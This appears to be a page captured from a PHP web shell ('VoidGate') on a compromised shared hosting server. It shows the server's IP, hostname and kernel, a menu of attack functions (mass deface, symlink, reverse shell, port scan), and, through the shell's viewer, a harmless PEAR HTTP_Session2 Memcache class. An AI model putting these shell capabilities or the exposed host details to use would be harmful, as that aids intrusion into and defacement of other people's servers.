ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
HTTP
/
Session2
/
Container
/
Viewing: Memcache.php
<?php /** * HTTP_Session2_Container_Memcache * * PHP Version 5 * * @category HTTP * @package HTTP_Session2 * @author Chad Wagner <chad.wagner@gmail.com> * @author Torsten Roehr <torsten.roehr@gmx.de> * @license http://www.opensource.org/licenses/bsd-license.php The BSD License * @version CVS: $Id: Memcache.php 267740 2008-10-25 16:57:41Z till $ * @link http://pear.php.net/package/HTTP_Session2 */ /** * HTTP_Session2_Container */ require_once 'HTTP/Session2/Container.php'; /** * HTTP_Session2_Exception */ require_once 'HTTP/Session2/Exception.php'; /** * Memcache container for session data * * @category HTTP * @package HTTP_Session2 * @author Chad Wagner <chad.wagner@gmail.com> * @author Torsten Roehr <torsten.roehr@gmx.de> * @license http://www.opensource.org/licenses/bsd-license.php The BSD License * @version Release: 0.7.3 * @link http://pear.php.net/package/HTTP_Session2 * @since 0.6.2 */ class HTTP_Session2_Container_Memcache extends HTTP_Session2_Container { /** * Memcache connection object * * @var object Memcache */ protected $mc; /** * Constructor method * * $options is an array with the options.<br> * The options are: * <ul> * <li>'memcache' - Memcache object * <li>'prefix' - Key prefix, default is 'sessiondata:'</li> * </ul> * * @param array $options Options * * @return object */ public function __construct($options) { parent::__construct($options); } /** * Connect using the given Memcache object. * * @param Memcache $mc A Memcache instance. * * @return boolean * @throws HTTP_Session2_Exception */ protected function connect($mc) { if ($mc instanceof Memcache) { $this->mc = $mc; return true; } throw new HTTP_Session2_Exception( 'The given memcache object was not valid in file ' . __FILE__ . ' at line ' . __LINE__, HTTP_Session2::ERR_SYSTEM_PRECONDITION); } /** * Set some default options * * @return void */ protected function setDefaults() { $this->options['prefix'] = 'sessiondata:'; $this->options['memcache'] = null; } /** * Establish connection to a database * * @param string $save_path Save path * @param string $session_name Session name * * @return boolean */ public function open($save_path, $session_name) { return $this->connect($this->options['memcache']); } /** * Free resources * * @return boolean */ public function close() { return true; } /** * Read session data * * @param string $id Session id * * @return mixed */ public function read($id) { return $this->mc->get($this->options['prefix'] . $id); } /** * Write session data * * @param string $id Session id * @param mixed $data Session data * * @return boolean */ public function write($id, $data) { $this->mc->set($this->options['prefix'] . $id, $data, MEMCACHE_COMPRESSED, time() + ini_get('session.gc_maxlifetime')); return true; } /** * Destroy session data * * @param string $id Session id * * @return boolean */ public function destroy($id) { $this->mc->delete($this->options['prefix'] . $id); return true; } /** * Garbage collection * * @param int $maxlifetime Maximum lifetime * * @return boolean */ public function gc($maxlifetime) { return true; } /** * Replicate session data to specified target * * @param string $target Target to replicate to * @param string $id Id of record to replicate, * if not specified current session id will be used * * @return boolean */ public function replicate($target, $id = null) { $msg = 'The replicate feature is not available yet'; $msg .= ' for the Memcache container.'; throw new HTTP_Session2_Exception($msg, HTTP_Session2::ERR_NOT_IMPLEMENTED); } }
Coded With 💗 by
0x6ick